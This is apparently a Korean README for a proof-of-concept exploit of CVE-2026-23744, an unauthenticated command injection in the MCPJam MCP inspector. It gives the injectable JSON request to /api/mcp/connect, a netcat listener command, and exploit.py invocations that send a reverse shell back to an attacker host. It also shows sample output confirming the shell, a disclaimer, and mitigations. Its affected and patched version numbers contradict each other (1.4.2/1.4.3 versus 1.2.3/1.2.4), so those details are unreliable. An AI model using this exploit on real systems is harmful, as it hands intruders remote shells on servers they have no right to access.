
CVE-2026-23744에 대한 PoC 익스플로잇 — MCPJam Inspector에서 인증 없이 실행 가능한 RCE, /api/mcp/connect에서 검증되지 않은 serverConfig 명령어 주입을 통해, 자격 증명 없이 프로세스 소유자 권한으로 리버스 셸을 획득할 수 있음
MCPJam은 MCP(Model Context Protocol) 서버를 연결, 디버그 및 관리하는 데 사용되는 오픈 소스 MCP 검사기 및 프록시입니다. 버전 <= 1.4.2는 인증 또는 입력 검증 없이 /api/mcp/connect 엔드포인트를 노출합니다. 인증되지 않은 원격 공격자는 serverConfig.command / serverConfig.args 필드를 통해 임의의 OS 명령을 주입하여 프로세스 소유자의 권한으로 원격 코드 실행을 얻을 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-23744 |
| CVSS 점수 | 9.8 (심각) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — OS 명령의 특수 요소 부적절한 중립화 |
| 구성 요소 | MCPJam MCP 프록시 검사기 |
| 영향을 받는 버전 | MCPJam <= 1.4.2 |
| 패치된 버전 | MCPJam >= 1.4.3 |
| 공격 벡터 | 네트워크 — 인증 불필요 |
| 공개일 | 2026-01-15 |
취약한 엔드포인트는 인증되지 않은 JSON POST 요청을 허용합니다:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
MCPJam은 command와 args를 Node.js 프로세스 스포너(child_process.spawn 또는 이와 동등한 것)에 다음 없이 직접 전달합니다:
포트 3000(기본값)에 접근할 수 있는 공격자는 args[1]에 리버스 셸 페이로드를 제공하여 MCPJam 프로세스 소유자(종종 root 또는 광범위한 시스템 액세스 권한이 있는 서비스 계정)로 셸을 얻을 수 있습니다.
/api/mcp/connect에 대한 인증 미들웨어 보호의 부재와 프로세스 생성 호출에서 사용자 제공 값의 통제되지 않은 사용이 결합되어 전형적인 인증되지 않은 OS 명령 주입(CWE-78)을 발생시킵니다.
pip install requests urllib3
-t, --target 대상 IP 또는 호스트 이름
-p, --port 대상 포트 (기본 MCPJam: 3000)
-l, --lhost 리버스 셸 콜백용 로컬 IP
-r, --lport 리버스 셸 콜백용 로컬 포트
--timeout 대상 가용성을 기다리는 초 (기본값: 30)
--shell-timeout 셸이 끊어졌다고 가정하기 전 POST 타임아웃 (기본값: 5)
-v, --verbose 전체 HTTP 응답 본문 출력
1. 당신의 시스템에서 netcat 리스너를 시작하십시오:
nc -lvnp 4444
2. 익스플로잇 실행:
# Basic
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# Verbose + extended availability timeout (slow targets)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# Longer shell timeout (give more time before assuming shell was established)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · Unauthenticated RCE via serverConfig Injection ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2026-23744
Component : MCPJam MCP Proxy Inspector
Affected : <= 1.2.3 → Patched: >= 1.2.4
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — OS Command Injection
Type : Unauthenticated Remote Code Execution (Network / No Auth)
Reference : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] Probing target 10.10.11.50:3000 (max 30s) ...
10:32:02 [+] Target is alive — HTTP 200
10:32:02 [*] Exploit endpoint : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] Reverse-shell CB : 10.10.14.5:4444
10:32:02 [!] Ensure listener : nc -lvnp 4444
10:32:02 [*] Firing payload ...
10:32:07 [+] POST timed out after 5s — reverse shell likely established on 10.10.14.5:4444
10:32:07 [+] Switch to your netcat listener — incoming connection expected.
10:32:07 [+] Exploit routine complete.
타임아웃 = 성공 지표. POST 요청이 타임아웃되면 대상 프로세스는 열린 리버스 셸에서 차단됩니다. 이것은 예상된 동작이며 RCE가 달성되었음을 확인합니다. 즉시 리스너로 전환하십시오.
이 익스플로잇은 교육 목적 및 승인된 보안 테스트를 위해 엄격히 제공됩니다. 귀하가 소유하거나 테스트할 명시적 서면 허가를 받은 시스템에만 사용하십시오. 무단 사용은 불법이며 비윤리적입니다.
| 우선 순위 | 조치 |
|---|
| 심각 | MCPJam을 >= 1.4.3로 업데이트 |
| 높음 | 인증 미들웨어 뒤에 /api/mcp/connect 제한 |
| 높음 | MCPJam 포트에 대한 액세스를 신뢰할 수 있는 IP로 제한하는 네트워크 수준 방화벽 규칙 적용 |
| 중간 | serverConfig.command에 대해 허용된 값 목록 사용 |
| 중간 | 컨테이너 내에서 또는 제한된 Linux 사용자(셸 없음, /dev/tcp 없음)로 MCPJam 실행 |
| 낮음 | 프로세스 생성 이벤트에 대한 감사 로깅 활성화 |